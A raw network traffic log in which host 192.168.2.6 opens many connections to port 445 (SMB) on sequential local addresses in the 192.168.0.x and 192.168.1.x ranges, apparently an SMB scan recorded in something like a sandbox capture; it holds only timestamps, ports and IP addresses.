Jul 6, 2024 14:11:23.357626915 CEST	445	50139	192.168.0.126	192.168.2.6
Jul 6, 2024 14:11:23.357762098 CEST	50139	445	192.168.2.6	192.168.0.126
Jul 6, 2024 14:11:23.357762098 CEST	50139	445	192.168.2.6	192.168.0.126
Jul 6, 2024 14:11:23.361215115 CEST	445	50140	192.168.0.254	192.168.2.6
Jul 6, 2024 14:11:23.362406969 CEST	50140	445	192.168.2.6	192.168.0.254
Jul 6, 2024 14:11:23.362723112 CEST	445	50139	192.168.0.126	192.168.2.6
Jul 6, 2024 14:11:23.362772942 CEST	445	50139	192.168.0.126	192.168.2.6
Jul 6, 2024 14:11:23.366413116 CEST	50141	445	192.168.2.6	192.168.0.255
Jul 6, 2024 14:11:23.371315002 CEST	445	50141	192.168.0.255	192.168.2.6
Jul 6, 2024 14:11:23.373847008 CEST	50141	445	192.168.2.6	192.168.0.255
Jul 6, 2024 14:11:23.373847008 CEST	50141	445	192.168.2.6	192.168.0.255
Jul 6, 2024 14:11:23.378741026 CEST	445	50141	192.168.0.255	192.168.2.6
Jul 6, 2024 14:11:23.381005049 CEST	50141	445	192.168.2.6	192.168.0.255
Jul 6, 2024 14:11:23.382322073 CEST	50142	445	192.168.2.6	192.168.0.127
Jul 6, 2024 14:11:23.382417917 CEST	50143	445	192.168.2.6	192.168.0.128
Jul 6, 2024 14:11:23.383088112 CEST	50144	445	192.168.2.6	192.168.1.1
Jul 6, 2024 14:11:23.387075901 CEST	445	50142	192.168.0.127	192.168.2.6
Jul 6, 2024 14:11:23.387151003 CEST	50142	445	192.168.2.6	192.168.0.127
Jul 6, 2024 14:11:23.387248993 CEST	50142	445	192.168.2.6	192.168.0.127
Jul 6, 2024 14:11:23.387487888 CEST	445	50143	192.168.0.128	192.168.2.6
Jul 6, 2024 14:11:23.387552977 CEST	50143	445	192.168.2.6	192.168.0.128
Jul 6, 2024 14:11:23.387640953 CEST	50143	445	192.168.2.6	192.168.0.128
Jul 6, 2024 14:11:23.388263941 CEST	445	50144	192.168.1.1	192.168.2.6
Jul 6, 2024 14:11:23.388328075 CEST	50144	445	192.168.2.6	192.168.1.1
Jul 6, 2024 14:11:23.388381004 CEST	50144	445	192.168.2.6	192.168.1.1
Jul 6, 2024 14:11:23.392119884 CEST	445	50142	192.168.0.127	192.168.2.6
Jul 6, 2024 14:11:23.392174006 CEST	50142	445	192.168.2.6	192.168.0.127
Jul 6, 2024 14:11:23.392314911 CEST	445	50142	192.168.0.127	192.168.2.6
Jul 6, 2024 14:11:23.392565966 CEST	445	50143	192.168.0.128	192.168.2.6
Jul 6, 2024 14:11:23.392618895 CEST	445	50143	192.168.0.128	192.168.2.6
Jul 6, 2024 14:11:23.392625093 CEST	50143	445	192.168.2.6	192.168.0.128
Jul 6, 2024 14:11:23.393328905 CEST	445	50144	192.168.1.1	192.168.2.6
Jul 6, 2024 14:11:23.393388987 CEST	50144	445	192.168.2.6	192.168.1.1
Jul 6, 2024 14:11:23.397800922 CEST	50145	445	192.168.2.6	192.168.1.2
Jul 6, 2024 14:11:23.397927999 CEST	445	50142	192.168.0.127	192.168.2.6
Jul 6, 2024 14:11:23.398035049 CEST	445	50143	192.168.0.128	192.168.2.6
Jul 6, 2024 14:11:23.402757883 CEST	445	50145	192.168.1.2	192.168.2.6
Jul 6, 2024 14:11:23.402810097 CEST	50145	445	192.168.2.6	192.168.1.2
Jul 6, 2024 14:11:23.402890921 CEST	50145	445	192.168.2.6	192.168.1.2
Jul 6, 2024 14:11:23.407766104 CEST	445	50145	192.168.1.2	192.168.2.6
Jul 6, 2024 14:11:23.407824039 CEST	50145	445	192.168.2.6	192.168.1.2
Jul 6, 2024 14:11:23.413280964 CEST	50146	445	192.168.2.6	192.168.1.3
Jul 6, 2024 14:11:23.418111086 CEST	445	50146	192.168.1.3	192.168.2.6
Jul 6, 2024 14:11:23.418931961 CEST	50146	445	192.168.2.6	192.168.1.3
Jul 6, 2024 14:11:23.418931961 CEST	50146	445	192.168.2.6	192.168.1.3
Jul 6, 2024 14:11:23.424006939 CEST	445	50146	192.168.1.3	192.168.2.6
Jul 6, 2024 14:11:23.424880981 CEST	50146	445	192.168.2.6	192.168.1.3
Jul 6, 2024 14:11:23.432161093 CEST	50147	445	192.168.2.6	192.168.0.129
Jul 6, 2024 14:11:23.432957888 CEST	50148	445	192.168.2.6	192.168.0.130
Jul 6, 2024 14:11:23.432957888 CEST	50149	445	192.168.2.6	192.168.1.4
Jul 6, 2024 14:11:23.444647074 CEST	50150	445	192.168.2.6	192.168.1.5
Jul 6, 2024 14:11:23.449428082 CEST	445	50120	192.168.0.245	192.168.2.6
Jul 6, 2024 14:11:23.449767113 CEST	50120	445	192.168.2.6	192.168.0.245
Jul 6, 2024 14:11:23.456988096 CEST	445	50148	192.168.0.130	192.168.2.6
Jul 6, 2024 14:11:23.456996918 CEST	445	50149	192.168.1.4	192.168.2.6
Jul 6, 2024 14:11:23.457043886 CEST	445	50147	192.168.0.129	192.168.2.6
Jul 6, 2024 14:11:23.457062006 CEST	445	50150	192.168.1.5	192.168.2.6
Jul 6, 2024 14:11:23.457068920 CEST	50148	445	192.168.2.6	192.168.0.130
Jul 6, 2024 14:11:23.457068920 CEST	50149	445	192.168.2.6	192.168.1.4
Jul 6, 2024 14:11:23.457099915 CEST	50147	445	192.168.2.6	192.168.0.129
Jul 6, 2024 14:11:23.458463907 CEST	50148	445	192.168.2.6	192.168.0.130
Jul 6, 2024 14:11:23.458463907 CEST	50149	445	192.168.2.6	192.168.1.4
Jul 6, 2024 14:11:23.462584019 CEST	445	50148	192.168.0.130	192.168.2.6
Jul 6, 2024 14:11:23.462713957 CEST	50150	445	192.168.2.6	192.168.1.5
Jul 6, 2024 14:11:23.462713957 CEST	50147	445	192.168.2.6	192.168.0.129
Jul 6, 2024 14:11:23.462713957 CEST	50150	445	192.168.2.6	192.168.1.5
Jul 6, 2024 14:11:23.462713957 CEST	50151	445	192.168.2.6	192.168.0.131
Jul 6, 2024 14:11:23.462713957 CEST	50153	445	192.168.2.6	192.168.1.6
Jul 6, 2024 14:11:23.463295937 CEST	445	50148	192.168.0.130	192.168.2.6
Jul 6, 2024 14:11:23.463982105 CEST	50152	445	192.168.2.6	192.168.0.132
Jul 6, 2024 14:11:23.464174986 CEST	445	50149	192.168.1.4	192.168.2.6
Jul 6, 2024 14:11:23.465895891 CEST	50148	445	192.168.2.6	192.168.0.130
Jul 6, 2024 14:11:23.465895891 CEST	50149	445	192.168.2.6	192.168.1.4
Jul 6, 2024 14:11:23.466813087 CEST	445	50149	192.168.1.4	192.168.2.6
Jul 6, 2024 14:11:23.468556881 CEST	445	50147	192.168.0.129	192.168.2.6
Jul 6, 2024 14:11:23.468568087 CEST	445	50150	192.168.1.5	192.168.2.6
Jul 6, 2024 14:11:23.470663071 CEST	445	50148	192.168.0.130	192.168.2.6
Jul 6, 2024 14:11:23.474153042 CEST	50147	445	192.168.2.6	192.168.0.129
Jul 6, 2024 14:11:23.475536108 CEST	445	50152	192.168.0.132	192.168.2.6
Jul 6, 2024 14:11:23.475578070 CEST	445	50147	192.168.0.129	192.168.2.6
Jul 6, 2024 14:11:23.475588083 CEST	445	50150	192.168.1.5	192.168.2.6
Jul 6, 2024 14:11:23.475604057 CEST	50152	445	192.168.2.6	192.168.0.132
Jul 6, 2024 14:11:23.475703955 CEST	50152	445	192.168.2.6	192.168.0.132
Jul 6, 2024 14:11:23.475802898 CEST	50154	445	192.168.2.6	192.168.0.133
Jul 6, 2024 14:11:23.479474068 CEST	445	50151	192.168.0.131	192.168.2.6
Jul 6, 2024 14:11:23.479485989 CEST	445	50153	192.168.1.6	192.168.2.6
Jul 6, 2024 14:11:23.480891943 CEST	445	50152	192.168.0.132	192.168.2.6
Jul 6, 2024 14:11:23.480901003 CEST	445	50152	192.168.0.132	192.168.2.6
Jul 6, 2024 14:11:23.480911016 CEST	445	50154	192.168.0.133	192.168.2.6
Jul 6, 2024 14:11:23.482306957 CEST	50154	445	192.168.2.6	192.168.0.133
Jul 6, 2024 14:11:23.482306957 CEST	50154	445	192.168.2.6	192.168.0.133
Jul 6, 2024 14:11:23.483825922 CEST	50150	445	192.168.2.6	192.168.1.5
Jul 6, 2024 14:11:23.483825922 CEST	50155	445	192.168.2.6	192.168.1.7
Jul 6, 2024 14:11:23.483825922 CEST	50151	445	192.168.2.6	192.168.0.131
Jul 6, 2024 14:11:23.483825922 CEST	50153	445	192.168.2.6	192.168.1.6
Jul 6, 2024 14:11:23.483825922 CEST	50151	445	192.168.2.6	192.168.0.131
Jul 6, 2024 14:11:23.483825922 CEST	50153	445	192.168.2.6	192.168.1.6
Jul 6, 2024 14:11:23.485694885 CEST	445	50147	192.168.0.129	192.168.2.6
Jul 6, 2024 14:11:23.491616011 CEST	50157	445	192.168.2.6	192.168.1.8
Jul 6, 2024 14:11:23.492307901 CEST	50156	445	192.168.2.6	192.168.0.134
Jul 6, 2024 14:11:23.492377043 CEST	445	50155	192.168.1.7	192.168.2.6
Jul 6, 2024 14:11:23.492515087 CEST	445	50151	192.168.0.131	192.168.2.6
Jul 6, 2024 14:11:23.492523909 CEST	445	50151	192.168.0.131	192.168.2.6
Jul 6, 2024 14:11:23.492734909 CEST	445	50153	192.168.1.6	192.168.2.6
Jul 6, 2024 14:11:23.493731022 CEST	50155	445	192.168.2.6	192.168.1.7
Jul 6, 2024 14:11:23.493731022 CEST	50155	445	192.168.2.6	192.168.1.7
Jul 6, 2024 14:11:23.493731022 CEST	50151	445	192.168.2.6	192.168.0.131
Jul 6, 2024 14:11:23.494498014 CEST	445	50154	192.168.0.133	192.168.2.6
Jul 6, 2024 14:11:23.494607925 CEST	445	50154	192.168.0.133	192.168.2.6
Jul 6, 2024 14:11:23.497931957 CEST	445	50157	192.168.1.8	192.168.2.6
Jul 6, 2024 14:11:23.498696089 CEST	50157	445	192.168.2.6	192.168.1.8
Jul 6, 2024 14:11:23.498696089 CEST	50157	445	192.168.2.6	192.168.1.8
Jul 6, 2024 14:11:23.501517057 CEST	445	50156	192.168.0.134	192.168.2.6
Jul 6, 2024 14:11:23.501585960 CEST	50156	445	192.168.2.6	192.168.0.134
Jul 6, 2024 14:11:23.501636028 CEST	50156	445	192.168.2.6	192.168.0.134
Jul 6, 2024 14:11:23.502365112 CEST	50153	445	192.168.2.6	192.168.1.6
Jul 6, 2024 14:11:23.504473925 CEST	445	50157	192.168.1.8	192.168.2.6
Jul 6, 2024 14:11:23.506659985 CEST	445	50156	192.168.0.134	192.168.2.6
Jul 6, 2024 14:11:23.506851912 CEST	445	50156	192.168.0.134	192.168.2.6
Jul 6, 2024 14:11:23.507333040 CEST	445	50151	192.168.0.131	192.168.2.6
Jul 6, 2024 14:11:23.507487059 CEST	445	50155	192.168.1.7	192.168.2.6
Jul 6, 2024 14:11:23.508852005 CEST	50158	445	192.168.2.6	192.168.0.135
Jul 6, 2024 14:11:23.509777069 CEST	50155	445	192.168.2.6	192.168.1.7
Jul 6, 2024 14:11:23.511542082 CEST	50157	445	192.168.2.6	192.168.1.8
Jul 6, 2024 14:11:23.511542082 CEST	50159	445	192.168.2.6	192.168.1.9
Jul 6, 2024 14:11:23.513711929 CEST	445	50158	192.168.0.135	192.168.2.6
Jul 6, 2024 14:11:23.513771057 CEST	50158	445	192.168.2.6	192.168.0.135
Jul 6, 2024 14:11:23.513943911 CEST	50158	445	192.168.2.6	192.168.0.135
Jul 6, 2024 14:11:23.514592886 CEST	445	50131	192.168.0.250	192.168.2.6
Jul 6, 2024 14:11:23.514646053 CEST	50131	445	192.168.2.6	192.168.0.250
Jul 6, 2024 14:11:23.518703938 CEST	445	50158	192.168.0.135	192.168.2.6
Jul 6, 2024 14:11:23.518764019 CEST	50158	445	192.168.2.6	192.168.0.135
Jul 6, 2024 14:11:23.518943071 CEST	445	50158	192.168.0.135	192.168.2.6
Jul 6, 2024 14:11:23.520565987 CEST	445	50159	192.168.1.9	192.168.2.6
Jul 6, 2024 14:11:23.522782087 CEST	50160	445	192.168.2.6	192.168.0.136
Jul 6, 2024 14:11:23.525023937 CEST	445	50158	192.168.0.135	192.168.2.6
Jul 6, 2024 14:11:23.525207043 CEST	50159	445	192.168.2.6	192.168.1.9
Jul 6, 2024 14:11:23.525207043 CEST	50159	445	192.168.2.6	192.168.1.9
Jul 6, 2024 14:11:23.525399923 CEST	50161	445	192.168.2.6	192.168.1.10
Jul 6, 2024 14:11:23.528214931 CEST	445	50160	192.168.0.136	192.168.2.6
Jul 6, 2024 14:11:23.531153917 CEST	50160	445	192.168.2.6	192.168.0.136
Jul 6, 2024 14:11:23.531153917 CEST	50160	445	192.168.2.6	192.168.0.136
Jul 6, 2024 14:11:23.533390999 CEST	445	50161	192.168.1.10	192.168.2.6
Jul 6, 2024 14:11:23.533479929 CEST	50161	445	192.168.2.6	192.168.1.10
Jul 6, 2024 14:11:23.533729076 CEST	50161	445	192.168.2.6	192.168.1.10
Jul 6, 2024 14:11:23.535862923 CEST	445	50159	192.168.1.9	192.168.2.6
Jul 6, 2024 14:11:23.536251068 CEST	445	50160	192.168.0.136	192.168.2.6
Jul 6, 2024 14:11:23.536258936 CEST	445	50160	192.168.0.136	192.168.2.6
Jul 6, 2024 14:11:23.536489010 CEST	50159	445	192.168.2.6	192.168.1.9
Jul 6, 2024 14:11:23.537163019 CEST	445	50159	192.168.1.9	192.168.2.6
Jul 6, 2024 14:11:23.538767099 CEST	445	50161	192.168.1.10	192.168.2.6
Jul 6, 2024 14:11:23.538775921 CEST	445	50161	192.168.1.10	192.168.2.6
Jul 6, 2024 14:11:23.539498091 CEST	50162	445	192.168.2.6	192.168.0.137
Jul 6, 2024 14:11:23.539880991 CEST	50164	445	192.168.2.6	192.168.1.11
Jul 6, 2024 14:11:23.541574955 CEST	50163	445	192.168.2.6	192.168.0.138
Jul 6, 2024 14:11:23.544434071 CEST	445	50162	192.168.0.137	192.168.2.6
Jul 6, 2024 14:11:23.544677973 CEST	50162	445	192.168.2.6	192.168.0.137
Jul 6, 2024 14:11:23.544723988 CEST	445	50164	192.168.1.11	192.168.2.6
Jul 6, 2024 14:11:23.546492100 CEST	50164	445	192.168.2.6	192.168.1.11
Jul 6, 2024 14:11:23.548230886 CEST	445	50163	192.168.0.138	192.168.2.6
Jul 6, 2024 14:11:23.548314095 CEST	50163	445	192.168.2.6	192.168.0.138
Jul 6, 2024 14:11:23.550416946 CEST	50162	445	192.168.2.6	192.168.0.137
Jul 6, 2024 14:11:23.550657034 CEST	50164	445	192.168.2.6	192.168.1.11
Jul 6, 2024 14:11:23.550741911 CEST	50163	445	192.168.2.6	192.168.0.138
Jul 6, 2024 14:11:23.551537991 CEST	445	50164	192.168.1.11	192.168.2.6
Jul 6, 2024 14:11:23.551716089 CEST	445	50162	192.168.0.137	192.168.2.6
Jul 6, 2024 14:11:23.551747084 CEST	50164	445	192.168.2.6	192.168.1.11
Jul 6, 2024 14:11:23.551764011 CEST	50162	445	192.168.2.6	192.168.0.137
Jul 6, 2024 14:11:23.553936005 CEST	445	50163	192.168.0.138	192.168.2.6
Jul 6, 2024 14:11:23.554174900 CEST	50163	445	192.168.2.6	192.168.0.138
Jul 6, 2024 14:11:23.554272890 CEST	50165	445	192.168.2.6	192.168.1.12
Jul 6, 2024 14:11:23.555510998 CEST	445	50162	192.168.0.137	192.168.2.6
Jul 6, 2024 14:11:23.555917025 CEST	445	50164	192.168.1.11	192.168.2.6
Jul 6, 2024 14:11:23.556066990 CEST	445	50163	192.168.0.138	192.168.2.6
Jul 6, 2024 14:11:23.556879044 CEST	445	50162	192.168.0.137	192.168.2.6
Jul 6, 2024 14:11:23.559232950 CEST	445	50163	192.168.0.138	192.168.2.6
Jul 6, 2024 14:11:23.559667110 CEST	445	50165	192.168.1.12	192.168.2.6
Jul 6, 2024 14:11:23.559747934 CEST	50165	445	192.168.2.6	192.168.1.12
Jul 6, 2024 14:11:23.559823036 CEST	50165	445	192.168.2.6	192.168.1.12
Jul 6, 2024 14:11:23.565226078 CEST	445	50165	192.168.1.12	192.168.2.6
Jul 6, 2024 14:11:23.565280914 CEST	50165	445	192.168.2.6	192.168.1.12
Jul 6, 2024 14:11:23.569473028 CEST	50167	445	192.168.2.6	192.168.0.140
Jul 6, 2024 14:11:23.570405006 CEST	50166	445	192.168.2.6	192.168.0.139
Jul 6, 2024 14:11:23.570405006 CEST	50168	445	192.168.2.6	192.168.1.13
Jul 6, 2024 14:11:23.574656963 CEST	445	50167	192.168.0.140	192.168.2.6
Jul 6, 2024 14:11:23.575702906 CEST	445	50166	192.168.0.139	192.168.2.6
Jul 6, 2024 14:11:23.575712919 CEST	445	50168	192.168.1.13	192.168.2.6
Jul 6, 2024 14:11:23.575769901 CEST	50166	445	192.168.2.6	192.168.0.139
Jul 6, 2024 14:11:23.575783968 CEST	50168	445	192.168.2.6	192.168.1.13
Jul 6, 2024 14:11:23.576411009 CEST	50167	445	192.168.2.6	192.168.0.140
Jul 6, 2024 14:11:23.576411009 CEST	50167	445	192.168.2.6	192.168.0.140
Jul 6, 2024 14:11:23.576664925 CEST	50166	445	192.168.2.6	192.168.0.139
Jul 6, 2024 14:11:23.576664925 CEST	50168	445	192.168.2.6	192.168.1.13
Jul 6, 2024 14:11:23.581545115 CEST	445	50166	192.168.0.139	192.168.2.6
Jul 6, 2024 14:11:23.581868887 CEST	445	50168	192.168.1.13	192.168.2.6
Jul 6, 2024 14:11:23.582006931 CEST	445	50166	192.168.0.139	192.168.2.6
Jul 6, 2024 14:11:23.584268093 CEST	445	50168	192.168.1.13	192.168.2.6
Jul 6, 2024 14:11:23.585084915 CEST	50169	445	192.168.2.6	192.168.0.141
Jul 6, 2024 14:11:23.585191965 CEST	445	50167	192.168.0.140	192.168.2.6
Jul 6, 2024 14:11:23.585207939 CEST	445	50167	192.168.0.140	192.168.2.6
Jul 6, 2024 14:11:23.586249113 CEST	50170	445	192.168.2.6	192.168.1.14
Jul 6, 2024 14:11:23.587790966 CEST	50166	445	192.168.2.6	192.168.0.139
Jul 6, 2024 14:11:23.587790966 CEST	50168	445	192.168.2.6	192.168.1.13
Jul 6, 2024 14:11:23.589873075 CEST	445	50169	192.168.0.141	192.168.2.6
Jul 6, 2024 14:11:23.589941978 CEST	50169	445	192.168.2.6	192.168.0.141
Jul 6, 2024 14:11:23.590018988 CEST	50169	445	192.168.2.6	192.168.0.141
Jul 6, 2024 14:11:23.595237017 CEST	445	50166	192.168.0.139	192.168.2.6
Jul 6, 2024 14:11:23.597706079 CEST	445	50169	192.168.0.141	192.168.2.6
Jul 6, 2024 14:11:23.598356962 CEST	445	50169	192.168.0.141	192.168.2.6
Jul 6, 2024 14:11:23.599539042 CEST	445	50170	192.168.1.14	192.168.2.6
Jul 6, 2024 14:11:23.599592924 CEST	50170	445	192.168.2.6	192.168.1.14
Jul 6, 2024 14:11:23.599689007 CEST	50170	445	192.168.2.6	192.168.1.14
Jul 6, 2024 14:11:23.600770950 CEST	50171	445	192.168.2.6	192.168.1.15
Jul 6, 2024 14:11:23.616333961 CEST	50172	445	192.168.2.6	192.168.0.142
Jul 6, 2024 14:11:23.616430998 CEST	50173	445	192.168.2.6	192.168.0.143
Jul 6, 2024 14:11:23.616679907 CEST	50174	445	192.168.2.6	192.168.1.16
Jul 6, 2024 14:11:23.624433041 CEST	445	50171	192.168.1.15	192.168.2.6
Jul 6, 2024 14:11:23.624495029 CEST	50171	445	192.168.2.6	192.168.1.15
Jul 6, 2024 14:11:23.625608921 CEST	445	50172	192.168.0.142	192.168.2.6
Jul 6, 2024 14:11:23.625618935 CEST	445	50173	192.168.0.143	192.168.2.6
Jul 6, 2024 14:11:23.625627995 CEST	445	50174	192.168.1.16	192.168.2.6
Jul 6, 2024 14:11:23.625721931 CEST	50172	445	192.168.2.6	192.168.0.142
Jul 6, 2024 14:11:23.625721931 CEST	50173	445	192.168.2.6	192.168.0.143
Jul 6, 2024 14:11:23.625721931 CEST	50172	445	192.168.2.6	192.168.0.142
Jul 6, 2024 14:11:23.625825882 CEST	50173	445	192.168.2.6	192.168.0.143
Jul 6, 2024 14:11:23.627808094 CEST	445	50170	192.168.1.14	192.168.2.6
Jul 6, 2024 14:11:23.628112078 CEST	50174	445	192.168.2.6	192.168.1.16
Jul 6, 2024 14:11:23.628112078 CEST	50174	445	192.168.2.6	192.168.1.16
Jul 6, 2024 14:11:23.631711006 CEST	50171	445	192.168.2.6	192.168.1.15
Jul 6, 2024 14:11:23.631969929 CEST	50175	445	192.168.2.6	192.168.1.17
Jul 6, 2024 14:11:23.632285118 CEST	445	50170	192.168.1.14	192.168.2.6
Jul 6, 2024 14:11:23.632667065 CEST	445	50171	192.168.1.15	192.168.2.6
Jul 6, 2024 14:11:23.633424997 CEST	445	50172	192.168.0.142	192.168.2.6
Jul 6, 2024 14:11:23.633754969 CEST	445	50173	192.168.0.143	192.168.2.6
Jul 6, 2024 14:11:23.634393930 CEST	50170	445	192.168.2.6	192.168.1.14
Jul 6, 2024 14:11:23.634393930 CEST	50171	445	192.168.2.6	192.168.1.15
Jul 6, 2024 14:11:23.635544062 CEST	445	50172	192.168.0.142	192.168.2.6
Jul 6, 2024 14:11:23.635555983 CEST	445	50173	192.168.0.143	192.168.2.6
Jul 6, 2024 14:11:23.638482094 CEST	445	50174	192.168.1.16	192.168.2.6
Jul 6, 2024 14:11:23.639230013 CEST	50174	445	192.168.2.6	192.168.1.16
Jul 6, 2024 14:11:23.640171051 CEST	445	50171	192.168.1.15	192.168.2.6
Jul 6, 2024 14:11:23.640431881 CEST	445	50175	192.168.1.17	192.168.2.6
Jul 6, 2024 14:11:23.641410112 CEST	50175	445	192.168.2.6	192.168.1.17
Jul 6, 2024 14:11:23.641410112 CEST	50175	445	192.168.2.6	192.168.1.17
Jul 6, 2024 14:11:23.647432089 CEST	50176	445	192.168.2.6	192.168.0.144
Jul 6, 2024 14:11:23.649965048 CEST	50177	445	192.168.2.6	192.168.1.18
Jul 6, 2024 14:11:23.650336027 CEST	445	50175	192.168.1.17	192.168.2.6
Jul 6, 2024 14:11:23.650410891 CEST	50175	445	192.168.2.6	192.168.1.17
Jul 6, 2024 14:11:23.655746937 CEST	445	50176	192.168.0.144	192.168.2.6
Jul 6, 2024 14:11:23.656160116 CEST	50176	445	192.168.2.6	192.168.0.144
Jul 6, 2024 14:11:23.656160116 CEST	50176	445	192.168.2.6	192.168.0.144
Jul 6, 2024 14:11:23.658761024 CEST	445	50177	192.168.1.18	192.168.2.6
Jul 6, 2024 14:11:23.660459042 CEST	50177	445	192.168.2.6	192.168.1.18
Jul 6, 2024 14:11:23.660459042 CEST	50177	445	192.168.2.6	192.168.1.18
Jul 6, 2024 14:11:23.662836075 CEST	445	50176	192.168.0.144	192.168.2.6
Jul 6, 2024 14:11:23.663018942 CEST	445	50176	192.168.0.144	192.168.2.6
Jul 6, 2024 14:11:23.663382053 CEST	50178	445	192.168.2.6	192.168.0.146
Jul 6, 2024 14:11:23.664710045 CEST	50180	445	192.168.2.6	192.168.1.19
Jul 6, 2024 14:11:23.668144941 CEST	445	50177	192.168.1.18	192.168.2.6
Jul 6, 2024 14:11:23.668174982 CEST	50179	445	192.168.2.6	192.168.0.145
Jul 6, 2024 14:11:23.668195963 CEST	50177	445	192.168.2.6	192.168.1.18
Jul 6, 2024 14:11:23.669440031 CEST	445	50177	192.168.1.18	192.168.2.6
Jul 6, 2024 14:11:23.672557116 CEST	445	50178	192.168.0.146	192.168.2.6
Jul 6, 2024 14:11:23.672626019 CEST	50178	445	192.168.2.6	192.168.0.146
Jul 6, 2024 14:11:23.672666073 CEST	50178	445	192.168.2.6	192.168.0.146
Jul 6, 2024 14:11:23.672825098 CEST	445	50180	192.168.1.19	192.168.2.6
Jul 6, 2024 14:11:23.673625946 CEST	50180	445	192.168.2.6	192.168.1.19
Jul 6, 2024 14:11:23.677658081 CEST	445	50178	192.168.0.146	192.168.2.6
Jul 6, 2024 14:11:23.677670002 CEST	445	50178	192.168.0.146	192.168.2.6
Jul 6, 2024 14:11:23.678704023 CEST	50181	445	192.168.2.6	192.168.0.147
Jul 6, 2024 14:11:23.678894997 CEST	50182	445	192.168.2.6	192.168.1.20
Jul 6, 2024 14:11:23.680491924 CEST	445	50179	192.168.0.145	192.168.2.6
Jul 6, 2024 14:11:23.680545092 CEST	445	50180	192.168.1.19	192.168.2.6
Jul 6, 2024 14:11:23.680659056 CEST	50180	445	192.168.2.6	192.168.1.19
Jul 6, 2024 14:11:23.680659056 CEST	50180	445	192.168.2.6	192.168.1.19
Jul 6, 2024 14:11:23.685282946 CEST	50179	445	192.168.2.6	192.168.0.145
Jul 6, 2024 14:11:23.685282946 CEST	50179	445	192.168.2.6	192.168.0.145
Jul 6, 2024 14:11:23.685446024 CEST	445	50181	192.168.0.147	192.168.2.6
Jul 6, 2024 14:11:23.685458899 CEST	445	50182	192.168.1.20	192.168.2.6
Jul 6, 2024 14:11:23.685508013 CEST	50181	445	192.168.2.6	192.168.0.147
Jul 6, 2024 14:11:23.685539007 CEST	50182	445	192.168.2.6	192.168.1.20
Jul 6, 2024 14:11:23.685612917 CEST	50181	445	192.168.2.6	192.168.0.147
Jul 6, 2024 14:11:23.685679913 CEST	50182	445	192.168.2.6	192.168.1.20
Jul 6, 2024 14:11:23.689366102 CEST	445	50180	192.168.1.19	192.168.2.6
Jul 6, 2024 14:11:23.690428972 CEST	445	50179	192.168.0.145	192.168.2.6
Jul 6, 2024 14:11:23.690638065 CEST	445	50179	192.168.0.145	192.168.2.6
Jul 6, 2024 14:11:23.690718889 CEST	445	50181	192.168.0.147	192.168.2.6
Jul 6, 2024 14:11:23.691009045 CEST	445	50181	192.168.0.147	192.168.2.6
Jul 6, 2024 14:11:23.691250086 CEST	445	50182	192.168.1.20	192.168.2.6
Jul 6, 2024 14:11:23.691550016 CEST	50182	445	192.168.2.6	192.168.1.20
Jul 6, 2024 14:11:23.694715977 CEST	50183	445	192.168.2.6	192.168.1.21
Jul 6, 2024 14:11:23.700598001 CEST	445	50183	192.168.1.21	192.168.2.6
Jul 6, 2024 14:11:23.701904058 CEST	50183	445	192.168.2.6	192.168.1.21
Jul 6, 2024 14:11:23.701904058 CEST	50183	445	192.168.2.6	192.168.1.21
Jul 6, 2024 14:11:23.710567951 CEST	50184	445	192.168.2.6	192.168.0.148
Jul 6, 2024 14:11:23.712558985 CEST	50185	445	192.168.2.6	192.168.1.22
Jul 6, 2024 14:11:23.716665030 CEST	445	50184	192.168.0.148	192.168.2.6
Jul 6, 2024 14:11:23.718147039 CEST	445	50183	192.168.1.21	192.168.2.6
Jul 6, 2024 14:11:23.718534946 CEST	445	50183	192.168.1.21	192.168.2.6
Jul 6, 2024 14:11:23.718892097 CEST	50184	445	192.168.2.6	192.168.0.148
Jul 6, 2024 14:11:23.718892097 CEST	50184	445	192.168.2.6	192.168.0.148
Jul 6, 2024 14:11:23.720511913 CEST	445	50185	192.168.1.22	192.168.2.6
Jul 6, 2024 14:11:23.720654011 CEST	50183	445	192.168.2.6	192.168.1.21
Jul 6, 2024 14:11:23.723820925 CEST	445	50184	192.168.0.148	192.168.2.6
Jul 6, 2024 14:11:23.724412918 CEST	445	50184	192.168.0.148	192.168.2.6
Jul 6, 2024 14:11:23.724766016 CEST	50185	445	192.168.2.6	192.168.1.22
Jul 6, 2024 14:11:23.724766016 CEST	50185	445	192.168.2.6	192.168.1.22
Jul 6, 2024 14:11:23.725729942 CEST	50186	445	192.168.2.6	192.168.0.149
Jul 6, 2024 14:11:23.730564117 CEST	50187	445	192.168.2.6	192.168.1.23
Jul 6, 2024 14:11:23.730722904 CEST	445	50185	192.168.1.22	192.168.2.6
Jul 6, 2024 14:11:23.730741978 CEST	445	50186	192.168.0.149	192.168.2.6
Jul 6, 2024 14:11:23.730804920 CEST	50186	445	192.168.2.6	192.168.0.149
Jul 6, 2024 14:11:23.730884075 CEST	50186	445	192.168.2.6	192.168.0.149
Jul 6, 2024 14:11:23.731394053 CEST	445	50185	192.168.1.22	192.168.2.6
Jul 6, 2024 14:11:23.735430002 CEST	445	50187	192.168.1.23	192.168.2.6
Jul 6, 2024 14:11:23.735866070 CEST	445	50186	192.168.0.149	192.168.2.6
Jul 6, 2024 14:11:23.735873938 CEST	445	50186	192.168.0.149	192.168.2.6
Jul 6, 2024 14:11:23.741344929 CEST	50188	445	192.168.2.6	192.168.1.24
Jul 6, 2024 14:11:23.744524956 CEST	50185	445	192.168.2.6	192.168.1.22
Jul 6, 2024 14:11:23.744524956 CEST	50187	445	192.168.2.6	192.168.1.23
Jul 6, 2024 14:11:23.744524956 CEST	50187	445	192.168.2.6	192.168.1.23
Jul 6, 2024 14:11:23.748187065 CEST	445	50188	192.168.1.24	192.168.2.6
Jul 6, 2024 14:11:23.748358011 CEST	50188	445	192.168.2.6	192.168.1.24
Jul 6, 2024 14:11:23.748358011 CEST	50188	445	192.168.2.6	192.168.1.24
Jul 6, 2024 14:11:23.748866081 CEST	445	50161	192.168.1.10	192.168.2.6
Jul 6, 2024 14:11:23.752707958 CEST	50161	445	192.168.2.6	192.168.1.10
Jul 6, 2024 14:11:23.753976107 CEST	445	50187	192.168.1.23	192.168.2.6
Jul 6, 2024 14:11:23.754128933 CEST	445	50187	192.168.1.23	192.168.2.6
Jul 6, 2024 14:11:23.754203081 CEST	50187	445	192.168.2.6	192.168.1.23
Jul 6, 2024 14:11:23.756755114 CEST	445	50188	192.168.1.24	192.168.2.6
Jul 6, 2024 14:11:23.756762981 CEST	445	50188	192.168.1.24	192.168.2.6
Jul 6, 2024 14:11:23.756871939 CEST	50190	445	192.168.2.6	192.168.0.151
Jul 6, 2024 14:11:23.757150888 CEST	50191	445	192.168.2.6	192.168.1.25
